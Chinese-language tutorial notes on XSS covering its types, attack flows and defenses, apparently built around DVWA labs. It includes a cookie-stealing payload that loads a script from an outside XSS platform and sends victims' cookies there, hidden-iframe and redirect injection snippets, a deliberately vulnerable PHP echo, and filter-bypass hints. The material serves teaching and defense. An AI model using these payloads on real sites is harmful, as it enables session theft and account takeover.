【课】XSS跨站脚本攻击及防护
XSS跨站脚本攻击及防护
初识XSS跨站脚本
XSS漏洞是最广泛、作用最关键的web安全漏洞之一。在绝大多数网络攻击中都是把XSS作为漏洞链中的第一环,通过XSS,黑客可以得到的最直接利益就是拿到用户浏览器的cookie,从而变相盗取用户的账号密码,进而非授权的获取关键的隐私信息。
XSS的传播性极强,由于web的特点是轻量级、灵活性高,每个用户每天都可能访问很多web站点,每个web站点每天都有成千上万的来访。
如果将XSS攻击配合一些系统内核级的漏洞,完全可能在几个小时之内击垮几百万台智能设备
案例:
myspace 第一个xss攻击
2011.6.28新浪微博
2014.3.9百度贴吧
OWASP排名 XSS注入2017年位居首位
XSS跨站攻击
XSS实际对应的英文是Cross Site Script,缩写为CSS。XSS攻击中跨站不是重点,重点是攻击。
XSS攻击是一种客户端访问嵌入有恶意脚本代码(JS脚本、HTML代码)的Web页面,从而盗取信息,利用身份等的一种攻击行为
XSS攻击本质
- 恶意代码未经过滤,与网站正常代码混在一起
- 浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行
XSS攻击危害
- 盗取信息,包括用户账号、口令及有价值的敏感信息
- 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
- 强制进行非法转账
- 强制发送电子邮件
- 网站挂马
- 控制受害者机器向其他网站发起攻击
XSS攻击原理
对一段代码:
<?php
header ("X-XSS-Protection: 0");
// IS there any input?
if( array_key_exists("name", $_GET) && $_GET[ 'name' ] != NULL)
// Feedback for end user
echo '<pre>Hello' . $_GET[ 'name' ] . '</pre>';
)
?>
会将Hello和输入内容拼接,如果将name输入<script>alert(222),显然会被执行
XSS攻击过程
- 攻击者对页面进行XSS攻击
- 受害者浏览页面
- 恶意脚本被执行
- 受害者浏览恶意页面或发送敏感信息等
XSS攻击特点
- 间接攻击
XSS攻击的最终目标是针对终端用户(包括获取账号密码、种马等),但攻击代码是注入到目标网站 - 可更正性
XSS攻击产生的根本原因是Web网站对用户的输入过滤不足,是一种可更正性错误 - 传播性强
攻击代码是注入到目标网站,每个用户每天都可能访问很多Web站点,每个Web站点每天都有成千上万的访客
XSS攻击与防御
XSS攻击分类
根据攻击的来源,,XSS漏洞攻击可以分成三种类型:
- 存储型XSS - 危害性最大
- 持久性:攻击者通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器中,每个访问该帖子/文章的人都会触发该恶意脚本执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie
- 反射型XSS
- 非持久性:攻击者事先制作好攻击链接,将攻击脚本嵌入到某个URL链接中,诱骗用户自己去点击链接,从而触发攻击代码执行,完成该次攻击。(容易出现在搜索中)
- DOM型XSS
经常会归到以上两种中,不同的是只在客户端进行解析,不需要服务器的解析响应。- DOM:Document Object Model,即文档对象模型,它是标识和处理一个HTML或XML文档的常用方法,是以面向对象方式描述的文档模型。
- DOM型XSS基于DOM文档对象模型的操作,通过前端脚本修改页面的DOM结点形成的XSS,该操作不与服务器端进行交互,而且代码是可见的,从前端获取到DOM中的数据在本地执行
不同分类的攻击过程和区别
存储型XSS攻击过程
- 攻击者发送恶意脚本请求
- 恶意脚本被保存到数据库中
- 用户正常浏览页面
- 从数据库中读取恶意脚本
- 将恶意脚本返回用户
- 浏览器解析,执行恶意脚本,发起攻击
反射型XSS攻击过程
- 攻击者构造特殊URL(包含恶意代码)到目标服务器
- 用户浏览目标服务器页面,恶意代码被拼接在HTML中
- 恶意代码被执行
- 恶意代码窃取数据或冒充用户行为执行攻击者操作
反射型XSS与存储型XSS区别:
存储型XSS的恶意代码存在数据库里,反射型XSS的恶意代码存储在URL里。
反射型XSS漏洞常见于通过URL传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的URL才能生效,攻击者往往结合多种手段诱导用户点击。
DOM型XSS攻击过程
- 攻击者构造特殊URL
- 用户打开带有恶意代码的URL
- 恶意代码发送给用户,并被前端JS取出执行
- 恶意代码窃取数据或冒充用户行为执行攻击者操作
DOM型XSS跟前两种XSS的区别:
DOM型XSS攻击中,取出和执行恶意代码由浏览器端完成,属于前端Javascript自身的安全漏洞,而其他两种XSS都属于服务端的安全漏洞
| 存储区 | 插入点 | |
|---|---|---|
| 存储型 | 服务器数据库 | HTML |
| 反射型 | URL | HTML |
| DOM型 | 前端存储 | 前端JavaScript |
攻击实例
- 案例一:
盗取Cookie:诱骗点击
攻击者利用反射型XSS漏洞,获取受害者Cookie,从而可以实现无密码登录。注入代码:
<sCRiPt sRC=https://xss8.cc/tvW7>
</sCrIpT>
即引入自己的url中,此url的核心代码:
keep.src='https://xss8.cc/xss.php?do=keepsession&id=tvW7&url='
+escape(document.location)
+'&cookie'+escape(document.cookie)};
将获取的Cookie信息传递给站点以外服务器
利用DVWA进行实验
- 案例二:
反射型XSS
利用DVWA进行实验
XSS在实战中入侵
- 可跨站标签
- <img>标签src属性
- <Script>标签src属性
- <Link>标签href属性
- Css中<img>标签
- Flash中<img>标签
- 入侵方式
- 测试是否存在跨站
<script> alert("test") </script>- 弹出一个包含浏览者cookie信息的对话框
<script> window.alert(document.cookie) </script>- 打开另一个网页窗口
<script> window.open('要打开的页面''属性') </script>- 出现一个高0,宽0的网页框架,用户不可见
<iframe src=http://www.target.com/index.asp width=0 height=0></iframe>- 刷新到另一个页面
<meta http-equiv="refresh" content="1;URL=http://www.target.com/index.asp">- Scriptlet引入另一个页面
<object type="text/x-scriptlet" data="http://www.target.com/index.asp"></object>
XSS防范
针对XSS攻击的两大要素:
- 攻击者提交恶意代码
- 防护的重点是针对用户数据,总体思路是:在服务器端对用户提交的内容进行过滤,对URL的参数也进行过滤,屏蔽掉可以造成XSS攻击的内容。
输入过滤函数:- Str_replace()替换函数
- Preg_replace()执行正则表达式的搜索和替换
- Strtolower()转换为小写字符,防止大小写绕过
- Trim()消除空格
- Srtipslashes()消除反斜杠
如DVWA中Mideum防护(可大小写、重写绕过)、High(可以用其他标签绕过)等
- 防护的重点是针对用户数据,总体思路是:在服务器端对用户提交的内容进行过滤,对URL的参数也进行过滤,屏蔽掉可以造成XSS攻击的内容。
- 浏览器执行恶意代码
- 要对HTML做充分的转义:
对于HTML转义通常只有一个规则,将& <> " ' 这几个字符转义掉,确实能起到一定的XSS防护作用;
htmlspecialchars():将“<”和“>”转换为HTML实体
- 要对HTML做充分的转义:

浙公网安备 33010602011771号